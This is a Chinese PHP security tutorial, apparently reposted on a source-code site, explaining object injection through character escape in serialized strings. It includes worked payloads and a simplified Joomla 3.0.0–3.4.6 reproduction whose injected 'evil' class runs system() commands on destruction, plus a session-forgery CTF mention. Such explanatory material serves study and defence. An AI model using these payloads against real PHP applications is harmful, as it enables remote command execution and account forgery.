百分百源码网-让建站变得如此简单! 登录 注册 签到领金币!

主页 | 如何升级VIP | TAG标签

当前位置: 主页>网站教程>网页制作> PHP字符逃逸致使的对象注入详解
分享文章到:

PHP字符逃逸致使的对象注入详解

发布时间:09/01 来源:未知 浏览: 关键词:

1.破绽发生缘由:

序列化的字符串在经过过滤函数不准确的处置而致使对象注入,当前看到都是由于过滤函数放在了serialize函数之后,如果放在序列化此前应当就不会发生这个问题

<?php
function filter($string){
  $a = str_replace('x','zz',$string);
   return $a;
}
$username = "tr1ple";
$password = "aaaaax";
$user = array($username, $password);
echo(serialize($user));
echo "\n";
$r = filter(serialize($user));
echo($r);
echo "\n";
var_dump(unserialize($r));
$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
var_dump(unserialize($a));

1.png

php特性:

1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是按照长度推断内容的

2.对类中不存在的属性也会停止反序列化

以上代码就明显存在一个问题,即从序列化后的字符串中明显可以看到经过filter函数今后s:6对应的字符串明显变长了

并且假如关于a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa"; 这种字符串而言,也能够正常反序列化,说明php在反序列化的时候只要求一个反序列化字符串块合法即可,当然得是第一个字符串块

以上代码为例,假如能够利用filter函数这种由一个字符变为两个字符的特性来注入想要反序列化后得到的属性,使其可以逃逸出更多可用的字符串,那么我们就能反序列化得到我们想要的属性

比方此时我们想要让反序列化后第二个字符串为123456,此时我们的payload假如和此前的username长度为a,则filter处置今后大概username就会变成a,此时我们的payload变成了新的注入的属性,此时反序列化后就会得到我们想要的结果,比方a:2:{i:0;s:6:"tr1ple";i:1;s:6:"123456";}是我们想要到达的结果,此时我们想要注入的payload明显为:

";i:1;s:6:"123456";}

2.png

可以得到其长度为20

此时我们已经知道过滤的规则为x->yy,即注入一个x可以逃逸出一个字符的空位,那么我们只需要注入20个x即可变成40个y,即可逃逸出20个空位,从而将我们的payload变为反序列化后得到的属性值

$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'; //其中红色就是我们想要注入的属性值 
$password="aaaaa";
$user = array($username, $password);
echo(serialize($user));
echo "\n";
$r = filter(serialize($user));
echo($r);
echo "\n";
var_dump(unserialize($r));

3.png

可以看到此时注入属性成功,反序列化后得到的属性即为123456

2.实例剖析

joomla3.0.0-3.4.6 对象注入致使的反序列化,以下为参照 别人的简易化中心破绽代码

<?php
class evil{
    public $cmd;
    public function __construct($cmd){
        $this->cmd = $cmd;
    }
    public function __destruct(){
        system($this->cmd);
    }
}
class User
{
    public $username;
    public $password;
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
}
function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}
function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}
if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}
$username = "tr1ple";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

在这里假如想要通过注入对象来实现反序列化则必需在外部对象内停止注入存在的属性,不克不及在其外部,不然php将不会停止我们注入歹意对象的反序列化

例如此时由于反序列化读取的时候将会将六位字符\0\0\0更换成三位字符chr(0)*chr(0),因此字符串前面的s必定是牢固的,那么s对应的字符串变少今后将会吞掉其他属性的字符,那么假如我们精默算好吞掉的字符长度,并且能够操纵被吞掉属性的内容,那么就能够注入对象,从而反序列化其他类

4.png

比方如上所示,此时我们要注入的对象为evil,此时username和password的值我们可控,那么我们可以在username中注入\0,来吞掉password的值,比方

<?php
$a='\0\0\0';
echo strlen($a);
$b=str_replace('\0\0\0', chr(0).'*'.chr(0), $a);
echo strlen($b);

所以此时第一肯定我们要吞掉的字符的长度

O:4:"User":2:{s:8:"username";s:6:"tr1ple";s:8:"password";s:4:"1234";}

正常状况下我们要吞掉 ";s:8:"password";s:4:" 为22位

5.png

但是由于注入的对象payload也在password字段,并且长度必定是>=10的,因此s必定是两位数,因此这里为22+1=23位字符

由于是6->3,因此每次增加一组\0\0\0能多吞掉3个字符,因此需要必定都是3的倍数

因此我们假设这里结构username为\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0

6.png

则经过read函数处置后长度将变为24

7.png

即此时能够多吞掉24个字符,为了不让其吞掉payload,我们可以填充1位字符A,即令password的值为A+payload即可

<?php
class evil{
    public $cmd;
    public function __construct($cmd){
        $this->cmd = $cmd;
    }
    public function __destruct(){
        system($this->cmd);
    }
}
class User
{
    public $username;
    public $password;
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
}
function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}
function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}
if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}
$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; $shellcode=$password.$payload; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

8.png

施行结果如上图所示,将成功反序列化password属性所对应的值,其值即为我们注入的对象,整个历程也容易懂得,就是吞掉后面的属性来注入属性,那么到达攻击有以下要求:

1.相邻两个属性的值是我们可以操纵的

2.前一个属性的s长度可以发生转变,变长变短都可以,变短的话可以吞掉后面相邻属性的值,然后在相邻属性中注入新的对象,假如边长则可以直接在该属性中注入对象来到达反序列化

比方XNUCA2018 hardphp就观察了一个这个相关的trick

这里就显现了用前面的data在反序列化时向后吞一位字符,从而可以致使吞掉后面的一般会员的username字段,而在username字段可以放上我们想要捏造的username,从而到达捏造session的目的

更多PHP相关知识,请拜访PHP中文网!

以上就是PHP字符逃逸致使的对象注入详解的具体内容,更多请关注百分百源码网其它相关文章!

打赏

打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

百分百源码网 建议打赏1~10元,土豪随意,感谢您的阅读!

共有154人阅读,期待你的评论!发表评论
昵称: 网址: 验证码: 点击我更换图片
最新评论

本文标签

广告赞助

能出一分力是一分吧!

订阅获得更多模板

本文标签

广告赞助

订阅获得更多模板